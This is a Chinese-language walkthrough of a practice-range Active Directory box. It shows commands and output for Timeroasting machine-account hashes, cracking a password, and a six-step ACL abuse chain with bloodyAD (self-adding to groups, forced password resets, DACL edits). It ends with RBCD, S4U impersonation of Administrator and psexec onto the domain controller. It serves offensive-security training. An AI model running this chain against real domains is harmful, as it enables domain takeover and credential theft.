// 红队渗透 · 2026-02-07

无境靶场-Time & Machines

MHT:时间在流动!时间在流动!在跳舞!木大木大木大木大木大!

image.png

0x01 初始枚举

首先使用 enum4linux-ng 对目标 IP 192.168.111.10 进行全方位的资产扫描。

❯ enum4linux-ng -A 192.168.111.10
ENUM4LINUX - next generation (v1.3.7)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 192.168.111.10
[*] Username ......... ''
[*] Random Username .. 'ieiitopn'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 =======================================
|    Listener Scan on 192.168.111.10    |
 =======================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ======================================================
|    Domain Information via LDAP for 192.168.111.10    |
 ======================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: sec.org

 =============================================================
|    NetBIOS Names and Workgroup/Domain for 192.168.111.10    |
 =============================================================
[+] Got domain/workgroup name: SEC
[+] Full NetBIOS names information:
- SEC             <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name                                                                                         
- AD              <00> -         B <ACTIVE>  Workstation Service                                                                                           
- SEC             <1c> - <GROUP> B <ACTIVE>  Domain Controllers                                                                                            
- AD              <20> -         B <ACTIVE>  File Server Service                                                                                           
- SEC             <1b> -         B <ACTIVE>  Domain Master Browser                                                                                         
- MAC Address = 00-50-56-B1-EF-97                                                                                                                          

 ===========================================
|    SMB Dialect Check on 192.168.111.10    |
 ===========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:                                                                                                                                        
  SMB 1.0: true                                                                                                                                            
  SMB 2.0.2: true                                                                                                                                          
  SMB 2.1: true                                                                                                                                            
  SMB 3.0: true                                                                                                                                            
  SMB 3.1.1: true                                                                                                                                          
Preferred dialect: SMB 3.0                                                                                                                                 
SMB1 only: false                                                                                                                                           
SMB signing required: true                                                                                                                                 

 =============================================================
|    Domain Information via SMB session for 192.168.111.10    |
 =============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[-] Could not enumerate domain information via unauthenticated SMB
[*] Enumerating via unauthenticated SMB session on 139/tcp
[-] SMB connection error on port 139/tcp: session failed

 ===========================================
|    RPC Session Check on 192.168.111.10    |
 ===========================================
[*] Check for anonymous access (null session)
[-] Could not establish null session: STATUS_NOT_SUPPORTED
[*] Check for guest access
[-] Could not establish guest session: STATUS_NOT_SUPPORTED
[-] Sessions failed, neither null nor user sessions were possible

 =================================================
|    OS Information via RPC for 192.168.111.10    |
 =================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Skipping 'srvinfo' run, not possible with provided credentials
[+] After merging OS information we have the following result:
OS: unknown                                                                                                                                                
OS version: not supported                                                                                                                                  
OS release: null                                                                                                                                           
OS build: null                                                                                                                                             
Native OS: null                                                                                                                                            
Native LAN manager: null                                                                                                                                   
Platform id: null                                                                                                                                          
Server type: null                                                                                                                                          
Server type string: null                                                                                                                                   

[!] Aborting remainder of tests since sessions failed, rerun with valid credentials

Completed after 4.30 seconds

关键点:

  • 确认目标域名为 sec.org,FQDN 为 ad.sec.org。
  • LDAP 和 SMB 服务均正常开启。
  • 未能通过匿名登录(Null Session)获取到敏感信息。

​

添加 host 解析

192.168.111.10     AD.sec.org sec.org AD

紧接着尝试通过 nxc(NetExec)利用 RID 爆破来枚举域用户,但遇到了预料之外的阻碍:

❯ nxc smb 192.168.111.10 --rid-brute
SMB         192.168.111.10  445    AD               [*]  x64 (name:AD) (domain:sec.org) (signing:True) (SMBv1:True) (NTLM:False)
SMB         192.168.111.10  445    AD               [-] Error creating DCERPC connection: SMB SessionError: code: 0xc00000bb - STATUS_NOT_SUPPORTED - The request is not supported.

知识点拓展:STATUS_NOT_SUPPORTED (0xc00000bb)
在现代 Windows 域环境中,若目标机器完全禁用了 NTLM 认证,所有基于 NTLM 的连接尝试(如 nxc 的默认行为)都会返回此错误。这意味着后续的所有交互必须强制使用 Kerberos 认证,在此之前需要确保本地与 DC 的时间同步:ntpdate -u 192.168.111.10。

0x02 Timeroasting 攻击

结合题目名 Time & Machines 以及提示中的“时间在流动(Time is flowing)”,联想到一种针对机器账户的特殊攻击手段:Timeroasting。

Timeroasting 攻击原理

类似于 Kerberoasting,Timeroasting是一种针对 Active Directory 环境中计算机账户(machine accounts)的密码哈希窃取技术,但它巧妙地利用了 NTP(Network Time Protocol,网络时间协议) 而非 Kerberos 服务票据。

Kerberoasting 的核心是:攻击者(已认证域用户)请求带有 SPN(Service Principal Name)的 Kerberos 服务票据(TGS),这些票据用服务账户的 NT hash 加密,然后离线破解弱口令服务账户。

Timeroasting 则更“隐秘”和“零凭证”:它滥用 Microsoft 专有的 MS-SNTP(Microsoft Secure NTP)扩展机制——域内计算机通过 NTP 与域控制器(DC)同步时间时,DC 会为响应附加一个 Message Authentication Code(MAC),以防止时间欺骗攻击。这个 MAC 使用计算机账户密码的 NTLM hash(即 MD4 哈希)作为密钥,结合 NTP 响应体作为盐值计算得出(常见遗留模式:MD5(MD4(password) || NTP-response))。

关键漏洞在于:

  • NTP 请求是 无需认证 的(unauthenticated)。
  • 攻击者可以任意指定 RID(Relative Identifier,账户的相对标识符,通常从 1000+ 开始递增),DC 会查找对应计算机账户,并用其密码 hash 计算 MAC 并返回。
  • 结果:攻击者无需任何域凭据,就能从 DC 的 NTP 响应中提取出大量计算机账户的 “salted NT hash”(本质上是可离线破解的密码等价物)。

攻击流程简述:

  1. 攻击者向 DC 的 NTP 端口(UDP 123)发送 MS-SNTP 请求,指定目标 RID。
  2. DC 返回 NTP 时间 + MAC(用对应计算机账户的 NT hash 计算)。
  3. 提取 MAC + NTP 响应体(作为盐),格式类似 Hashcat mode 31300(MS-SNTP)。
  4. 离线破解:如果计算机账户密码是弱口令(如默认、legacy 兼容、公司命名规则生成的短密码,如 hostname 小写、Password123、bmhtaw 等),就能快速恢复明文密码。

与 Kerberoasting 的主要区别:

  • 认证要求:Kerberoasting 需要域内有效用户凭据(至少一个低权限账户);Timeroasting 完全零凭证(unauthenticated),只需 DC 的 NTP 端口开放。
  • 目标对象:Kerberoasting 针对有 SPN 的服务账户(常为用户账户);Timeroasting 专攻 计算机账户($ 结尾)和信任账户(trust accounts),因为它们参与 NTP 认证。
  • 检测难度:Timeroasting 流量伪装成正常 NTP 时间同步,隐蔽性更高;Kerberoasting 会产生大量 TGS 请求,较易被 EDR / Defender for Identity 检测。
  • 破解难度:两者都依赖弱口令,但 Timeroasting 的 hash 格式特殊(需特定工具如 timeroast.py ,Hashcat 31300),且只输出 RID 而非计算机名(需额外映射)。
  • 适用场景:Timeroasting 常用于初始 foothold(拿到一台弱机器账户密码 → 横向),尤其在 NTLM 被禁、Kerberoasting/AS-REP 被修补的 hardening 环境中。

使用 nxc 的 timeroast 模块进行尝试:

❯ nxc smb `IP` -d sec.org -M timeroast
SMB         192.168.111.10  445    AD               [*]  x64 (name:AD) (domain:sec.org) (signing:True) (SMBv1:True) (NTLM:False)
TIMEROAST   192.168.111.10  445    AD               [*] Starting Timeroasting...
TIMEROAST   192.168.111.10  445    AD               1000:$sntp-ms$9641221f798bb0587e2c5aa440250e88$1c0111e900000000000a00114c4f434ced31c9c434cbdce2e1b8428bffbfcd0aed31c9db2cdc3017ed31c9db2cdc4794                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               1601:$sntp-ms$dab9a8b344c036bc887e2f480eb3b202$1c0111e900000000000a00144c4f434ced31c9c436af7751e1b8428bffbfcd0aed31c9decaa727f7ed31c9decaa74e8e                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2115:$sntp-ms$7d144faed4dfc2173da51833bf09b241$1c0111e900000000000a00164c4f434ced31c9c435c4c9c9e1b8428bffbfcd0aed31c9e1e1cc8224ed31c9e1e1cd0353                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2109:$sntp-ms$6464779eb864cf4bb712beacc15fa695$1c0111e900000000000a00164c4f434ced31c9c434aa920fe1b8428bffbfcd0aed31c9e1d88184cfed31c9e1d881a4b0                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2107:$sntp-ms$e1203a24f1706036389664ef062d4ed6$1c0111e900000000000a00164c4f434ced31c9c43565a2f2e1b8428bffbfcd0aed31c9e1d56593d8ed31c9e1d565ab55                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2106:$sntp-ms$7f9cf1f4bd1fe9f94da5ce115eab17c3$1c0111e900000000000a00164c4f434ced31c9c437f2c153e1b8428bffbfcd0aed31c9e1d3da1ec4ed31c9e1d3da3494                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2116:$sntp-ms$4cd3db6cf06851a5ab047edc6e9987b6$1c0111e900000000000a00164c4f434ced31c9c4374c843de1b8428bffbfcd0aed31c9e1e3549de7ed31c9e1e35511aa                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2117:$sntp-ms$7664c5dbd65ed86d431d474d7731b044$1c0111e900000000000a00164c4f434ced31c9c4350b01bbe1b8428bffbfcd0aed31c9e1e4ea1eeded31c9e1e4ea4583                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2118:$sntp-ms$8425e9ad80afa4ed1fbbe2892cd48b92$1c0111e900000000000a00164c4f434ced31c9c43671c53fe1b8428bffbfcd0aed31c9e1e650ead4ed31c9e1e6510907                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2108:$sntp-ms$5ef2b86fa1ebaf89fe77d796fa535b12$1c0111e900000000000a00164c4f434ced31c9c436e76a07e1b8428bffbfcd0aed31c9e1d6e75aeded31c9e1d6e7726a                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2112:$sntp-ms$7fc71fcff964e311f852bfe50697520b$1c0111e900000000000a00164c4f434ced31c9c4351d9465e1b8428bffbfcd0aed31c9e1dd0d22feed31c9e1dd0d38cd                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2111:$sntp-ms$9682605806268310de8a3f4235578225$1c0111e900000000000a00164c4f434ced31c9c437c11ae7e1b8428bffbfcd0aed31c9e1db97e711ed31c9e1db98343e                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2110:$sntp-ms$c92cb79138b7207a0f10d8ecf9f857c9$1c0111e900000000000a00164c4f434ced31c9c4362ebd82e1b8428bffbfcd0aed31c9e1da05b043ed31c9e1da05d023                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2113:$sntp-ms$fa1a53ee4cb99c3e2fdfe7b8a330966c$1c0111e900000000000a00164c4f434ced31c9c436c28e85e1b8428bffbfcd0aed31c9e1deb20e04ed31c9e1deb2349b                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2114:$sntp-ms$5176955b4a971ec4511b6107dedbdf52$1c0111e900000000000a00164c4f434ced31c9c4341e5987e1b8428bffbfcd0aed31c9e1e0263d81ed31c9e1e0269164                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2119:$sntp-ms$cd4578603517bf4989dcf00fe6c7a6a5$1c0111e900000000000a00164c4f434ced31c9c43408dfa2e1b8428bffbfcd0aed31c9e1e80096feed31c9e1e800bd95                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2120:$sntp-ms$7ca8190da2bc0380ca223fed4a51d9da$1c0111e900000000000a00164c4f434ced31c9c4356ed4c9e1b8428bffbfcd0aed31c9e1e9668dd3ed31c9e1e966b2bc                                                                                                                   
TIMEROAST   192.168.111.10  445    AD               2121:$sntp-ms$5ed6271624c387bacb6c99855ddb5fb2$1c0111e900000000000a00164c4f434ced31c9c436ff8d13e1b8428bffbfcd0aed31c9e1eaf73db9ed31c9e1eaf76450 

对提取出的 Hash 进行清洗,并使用 hashcat 进行批量离线爆破。

grep -oP '\$sntp-ms\$[^\s]+' output.txt > hashes.txt

​

最终成功爆破出 RID 为 1601 的账户密码 bmhtaw

image.png

根据提示,果断猜测对应的机器账户名为 mht$。因为靶机禁用 NTLM,这里采用 kerbrute 工具去验证:

❯ kerbrute passwordspray user.txt 'bmhtaw' -d sec.org --dc 192.168.111.10

验证后确认身份有效

image.png

随后请求 TGT 票据并注入环境变量:

❯ getTGT.py -dc-ip 192.168.111.10 sec.org/mht\$:'bmhtaw'
❯ export KRB5CCNAME=mht$.ccache

0x03 域内枚举与权限分析

获取初始凭据后,利用 Kerberos 认证(使用 -k 参数)再次调用 nxc 枚举域内的用户、组以及机器账户。

❯ nxc smb 192.168.111.10 -k --users
SMB         192.168.111.10  445    AD               [*]  x64 (name:AD) (domain:sec.org) (signing:True) (SMBv1:True) (NTLM:False)
SMB         192.168.111.10  445    AD               -Username-                    -Last PW Set-       -BadPW- -Description-                                
SMB         192.168.111.10  445    AD               Administrator                 2026-01-09 05:00:06 0       管理计算机(域)的内置帐户 
SMB         192.168.111.10  445    AD               Guest                         <never>             0       供来宾访问计算机或访问域的内置帐户 
SMB         192.168.111.10  445    AD               krbtgt                        2026-01-09 01:55:41 0       密钥发行中心服务帐户 
SMB         192.168.111.10  445    AD               DefaultAccount                <never>             0       系统管理的用户帐户。 
SMB         192.168.111.10  445    AD               AA                            2026-01-12 02:59:25 0       AA 
SMB         192.168.111.10  445    AD               BB                            2026-02-07 15:16:49 0       BB 
SMB         192.168.111.10  445    AD               GG                            2026-01-12 03:03:41 0       GG 
SMB         192.168.111.10  445    AD               KK                            2026-01-12 03:04:10 0       KK 
SMB         192.168.111.10  445    AD               QQ                            2026-01-12 03:23:27 0       QQ 
SMB         192.168.111.10  445    AD               ZZ                            2026-02-07 15:35:52 0       ZZ 
SMB         192.168.111.10  445    AD               [*] Enumerated 10 local users: SEC

❯ nxc smb 192.168.111.10 -k --rid-brute
SMB         192.168.111.10  445    AD               [*]  x64 (name:AD) (domain:sec.org) (signing:True) (SMBv1:True) (NTLM:False)
SMB         192.168.111.10  445    AD               498: SEC\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         192.168.111.10  445    AD               500: SEC\Administrator (SidTypeUser)
SMB         192.168.111.10  445    AD               501: SEC\Guest (SidTypeUser)
SMB         192.168.111.10  445    AD               502: SEC\krbtgt (SidTypeUser)
SMB         192.168.111.10  445    AD               503: SEC\DefaultAccount (SidTypeUser)
SMB         192.168.111.10  445    AD               512: SEC\Domain Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               513: SEC\Domain Users (SidTypeGroup)
SMB         192.168.111.10  445    AD               514: SEC\Domain Guests (SidTypeGroup)
SMB         192.168.111.10  445    AD               515: SEC\Domain Computers (SidTypeGroup)
SMB         192.168.111.10  445    AD               516: SEC\Domain Controllers (SidTypeGroup)
SMB         192.168.111.10  445    AD               517: SEC\Cert Publishers (SidTypeAlias)
SMB         192.168.111.10  445    AD               518: SEC\Schema Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               519: SEC\Enterprise Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               520: SEC\Group Policy Creator Owners (SidTypeGroup)
SMB         192.168.111.10  445    AD               521: SEC\Read-only Domain Controllers (SidTypeGroup)
SMB         192.168.111.10  445    AD               522: SEC\Cloneable Domain Controllers (SidTypeGroup)
SMB         192.168.111.10  445    AD               525: SEC\Protected Users (SidTypeGroup)
SMB         192.168.111.10  445    AD               526: SEC\Key Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               527: SEC\Enterprise Key Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               553: SEC\RAS and IAS Servers (SidTypeAlias)
SMB         192.168.111.10  445    AD               571: SEC\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         192.168.111.10  445    AD               572: SEC\Denied RODC Password Replication Group (SidTypeAlias)
SMB         192.168.111.10  445    AD               1000: SEC\AD$ (SidTypeUser)
SMB         192.168.111.10  445    AD               1101: SEC\DnsAdmins (SidTypeAlias)
SMB         192.168.111.10  445    AD               1102: SEC\DnsUpdateProxy (SidTypeGroup)
SMB         192.168.111.10  445    AD               1601: SEC\mht$ (SidTypeUser)
SMB         192.168.111.10  445    AD               1602: SEC\Protected Group (SidTypeGroup)
SMB         192.168.111.10  445    AD               1603: SEC\Operations (SidTypeGroup)
SMB         192.168.111.10  445    AD               1605: SEC\AA (SidTypeUser)
SMB         192.168.111.10  445    AD               1606: SEC\BB (SidTypeUser)
SMB         192.168.111.10  445    AD               1607: SEC\GG (SidTypeUser)
SMB         192.168.111.10  445    AD               1608: SEC\KK (SidTypeUser)
SMB         192.168.111.10  445    AD               1609: SEC\Dev (SidTypeGroup)
SMB         192.168.111.10  445    AD               1610: SEC\IT (SidTypeGroup)
SMB         192.168.111.10  445    AD               1611: SEC\QQ (SidTypeUser)
SMB         192.168.111.10  445    AD               2101: SEC\ZZ (SidTypeUser)
SMB         192.168.111.10  445    AD               2105: SEC\Dele (SidTypeGroup)
SMB         192.168.111.10  445    AD               2106: SEC\DANCINGTIME$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2107: SEC\Dev01$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2108: SEC\Dev02$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2109: SEC\Dev03$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2110: SEC\Dev04$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2111: SEC\Dev05$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2112: SEC\HR01$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2113: SEC\HR02$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2114: SEC\HR03$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2115: SEC\HR04$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2116: SEC\HR05$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2117: SEC\IT01$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2118: SEC\IT02$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2119: SEC\IT03$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2120: SEC\IT04$ (SidTypeUser)
SMB         192.168.111.10  445    AD               2121: SEC\IT05$ (SidTypeUser)

关键发现:

  • 存在多个功能性安全组:Operations、Dev、IT、Dele 等。
  • 存在一个名为 DANCINGTIME$ 的可疑机器账户。

随后通过 BloodHound 收集域内关系图谱,分析权限提升路径:

❯ bloodhound-python -c ALL --zip -d sec.org -u 'mht$' -p bmhtaw -ns 192.168.111.10 -k -no-pass
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: sec.org
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: ad.sec.org
INFO: Found 1 domains
INFO: Found 1 domains in the forest                                                                                                                        
INFO: Found 18 computers                                                                                                                                   
INFO: Connecting to LDAP server: ad.sec.org                                                                                                                
INFO: Found 11 users                                                                                                                                       
INFO: Found 58 groups                                                                                                                                      
INFO: Found 2 gpos                                                                                                                                         
INFO: Found 1 ous                                                                                                                                          
INFO: Found 20 containers                                                                                                                                  
INFO: Found 0 trusts                                                                                                                                       
INFO: Starting computer enumeration with 10 workers                                                                                                        
INFO: Querying computer:                                                                                                                                   
INFO: Querying computer:                                                                                                                                   
INFO: Querying computer:                                                                                                                                   
INFO: Querying computer:                                                                                                                                   
INFO: Querying computer: AD.sec.org
INFO: Done in 00M 20S
INFO: Compressing output into 20260207230049_bloodhound.zip

在 BloodHound 中将 mht$ 标记为已控制(Owned)

image.png

并寻找通往域管的最短路径。发现了一条环环相扣的 ACL 利用链:

image.png

0x04 ACL权限提升

这条路径的域内横向移动与垂直提权逻辑非常的清晰:

  1. MHT$ -> Operations: MHT$对Operations组有AddSelf 权限。
  2. Operations -> BB: Operations 组成员可以对用户 BB 执行 ForceChangePassword。
  3. BB -> DANCINGTIME$: 用户 BB 对机器 DANCINGTIME$拥有WriteDacl 权限。
  4. DANCINGTIME$ -> DELE: 机器 DANCINGTIME$对DELE组拥有WriteDacl。
  5. DELE -> ZZ: DELE 组对用户 ZZ 有重置密码权限。
  6. ZZ -> AD$ (DC): 用户 ZZ 对域控 AD$拥有AddAllowedToAct 权限,这是 RBCD 攻击的完美入口。

​

第一阶段:利用 AddSelf 渗透 Operations 组

攻击逻辑:MHT$ 账户对 Operations 组拥有 AddSelf 权限。这允许该机器账户在不需要该组管理员干预的情况下,自行加入该组。

image.png

# 将 mht$ 加入 operations 组
❯ bloodyAD --host ad.sec.org -k -d sec.org -u 'mht$' -p 'bmhtaw' add groupMember operations 'mht$'
[+] mht$ added to operations

知识点分析:AddSelf (Self) 权限
AddSelf 权限允许主体(User/Computer)将自己添加到目标组的成员列表中。在实战中,这种权限往往比直接的 GenericAll 更隐蔽,因为它看起来像是合法的成员变动。

第二阶段:强制重置用户 BB 凭据

攻击逻辑:作为 Operations 组的成员,MHT$ 现在继承了对用户 BB 的 ForceChangePassword 权限。

image.png

# 强制修改 BB 的密码为 NewPass123!
❯ bloodyAD --host ad.sec.org -k -d sec.org -u 'mht$' -p 'bmhtaw' set password 'BB' 'NewPass123!'
[+] Password changed successfully!

知识点分析:ForceChangePassword (Extended Right)
这是一种扩展权限,允许攻击者在不知道旧密码的情况下直接设置新密码。注意:在真实环境中,这会破坏目标账户的正常使用,通常建议在非活跃时间操作。

第三阶段:修改机器 DANCINGTIME$ 的安全描述符

攻击逻辑:获取 BB 的票据后,利用其对机器账户 DANCINGTIME$ 的 WriteDacl 权限,授予 MHT$ 对该机器的完全控制权(GenericAll)。

image.png

# 获取 BB 的 TGT 票据并注入环境
❯ getTGT.py -dc-ip 192.168.111.10 sec.org/BB:'NewPass123!'
❯ export KRB5CCNAME=BB.ccache

# 修改 ACL,赋予 mht$ 对该机器账户的 GenericAll 权限
❯ bloodyAD --host ad.sec.org -d sec.org -u 'BB' -p '' -k add genericAll 'DANCINGTIME$' 'mht$'
[+] mht$ has now GenericAll on DANCINGTIME$

第四阶段:利用机器账户渗透 DELE 组

攻击逻辑:DANCINGTIME$ 对 DELE 组拥有 WriteDacl 权限。我们首先通过 MHT$(此时已拥有其 GenericAll)重置 DANCINGTIME$ 的密码,获取其身份,随后将 MHT$ 塞进 DELE 组。

image.png

​

# 重置 DANCINGTIME$ 密码并获取其 TGT
❯ bloodyAD --host ad.sec.org -k -d sec.org -u 'mht$' -p 'bmhtaw' set password 'DANCINGTIME$' 'NewPass123!'
❯ getTGT.py -dc-ip 192.168.111.10 sec.org/DANCINGTIME$:'NewPass123!'
❯ export KRB5CCNAME=DANCINGTIME$.ccache

# 以 DANCINGTIME$ 身份,将 mht$ 加入 DELE 组
❯ bloodyAD --host ad.sec.org -k -u 'DANCINGTIME$' -p 'NewPass123!' -d sec.org add groupMember 'DELE' 'mht$'
[+] mht$ added to DELE

知识点分析:WriteDacl
WriteDacl 是 ACL 攻击中的核心。它允许攻击者修改目标对象的访问控制列表(DACL)。最直接的利用方式就是给自己加上 GenericAll 或者将自己设为该对象的“拥有者”。

第五阶段:接管关键用户 ZZ

攻击逻辑:DELE 组成员拥有对用户 ZZ 的密码重置权限。

image.png

# 切换回 mht$ 身份执行操作
❯ export KRB5CCNAME=mht$.ccache
❯ bloodyAD --host ad.sec.org -k -u 'mht$' -p 'bmhtaw' -d sec.org set password 'ZZ' 'NewPass123!'
[+] Password changed successfully!

第六阶段:RBCD 委派攻击

攻击逻辑:用户 ZZ 对域控 AD$ 拥有 AddAllowedToAct 权限,这说明该账户拥有修改目标计算机对象属性 msDS-AllowedToActOnBehalfOfOtherIdentity 的权限。这是配置 基于资源的约束性委派 (RBCD) 的先决条件,通过修改域控属性,我们让域控“信任”机器账户 MHT$ 可以代表任何用户访问它。

image.png

# 获取 ZZ 的 TGT 票据
❯ getTGT.py -dc-ip 192.168.111.10 sec.org/ZZ:'NewPass123!'
❯ export KRB5CCNAME=ZZ.ccache

# 在域控 AD$ 上配置 RBCD,允许 mht$ 模拟委派
❯ bloodyAD --host ad.sec.org -k -u ZZ -p 'NewPass123!' -d sec.org add rbcd 'AD$' 'mht$'
[+] mht$ can now impersonate users on AD$ via S4U2Proxy

知识点分析:msDS-AllowedToActOnBehalfOfOtherIdentity
这一属性存储在“资源”(即本例中的域控)上。当我们成功修改该属性后,就可以通过 S4U2self 和 S4U2proxy 扩展协议,利用 MHT$ 申请一张模拟 Administrator 访问域控服务的票据。

0x05 模拟域管拿下 flag

最后一步,使用 getST.py 执行 S4U 链条。我们模拟 Administrator 请求 cifs(文件共享)服务的票据,并利用该票据实现最终的远程执行。

S4U 协议的两步走战略

第一步:S4U2self (获取伪装身份)

通常情况下,Kerberos 需要用户输入密码获取 TGT。但作为“服务”,mht$ 可能需要知道谁在访问它。

  • 动作:mht$ 向 KDC(域控)发起请求:“我是 mht$,虽然 Administrator 没给我发请求,但我现在想代表他生成一张访问我自己的票据。”
  • 结果:KDC 返回一张 Administrator 访问 mht$ 的服务票据(ST)。
  • 关键点:这一步不需要 Administrator 的密码。

第二步:S4U2proxy (执行身份委派)

现在 mht$ 手里有一张 Administrator 发给自己的票据了。

  • 动作:mht$ 再次找到 KDC,出示刚才那张票据,并说:“看,Administrator 已经访问我了(其实是自导自演)。现在我要把他的身份委派下去,请给我一张他访问 AD$ 服务的票据。”
  • 判定:KDC 会检查 AD$ 的属性。如果 AD$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity 字段里写了 mht$ 的名字(这就是你之前用 ZZ 账户做的修改),KDC 就会认为:“没问题,AD$ 确实信任 mht$。”
  • 结果:KDC 颁发一张 Administrator 访问 AD$ 的 cifs 服务票据。
# 执行 S4U2self & S4U2proxy 组合拳
❯ export KRB5CCNAME=mht$.ccache
❯ getST.py -spn 'cifs/ad.sec.org' -impersonate Administrator -dc-ip 192.168.111.10 -k -no-pass sec.org/mht$
[*] Impersonating Administrator
[*] Saving ticket in Administrator@cifs_ad.sec.org@sec.org.ccache

# 导入最终票据,使用 psexec 拿下 DC
❯ export KRB5CCNAME=Administrator@cifs_ad.sec.org@sec.org.ccache
❯ psexec.py -k -no-pass 'ad.sec.org'

image.png

image.png

0x06 总结

这个靶机的核心难点在于 NTLM 禁用的真实场景模拟,强制要求攻击者熟悉 Kerberos 认证流程。

利用链梳理:

  1. 信息枚举:发现 NTLM 禁用,转向 Kerberos 爆破。
  2. 入口突破:通过 Timeroasting 暴力破解机器账户 mht$。
  3. 权限挖掘:利用 BloodHound 识别长达 6 跳的 ACL 滥用链。
  4. 权限接管:通过 RBCD 完成最后的委派攻击。

攻击路径:

Timeroasting (mht$) —> AddSelf (Operations) —> ForceChangePassword (BB) —> WriteDacl (DANCINGTIME$) —> WriteDacl (DELE) —> ForceChangePassword (ZZ) —> RBCD (AD$) —> DOMAIN ADMIN

​

整体是一台很不错的靶机~

附首杀证明:

image.png

原文 https://xz.aliyun.com/news/91598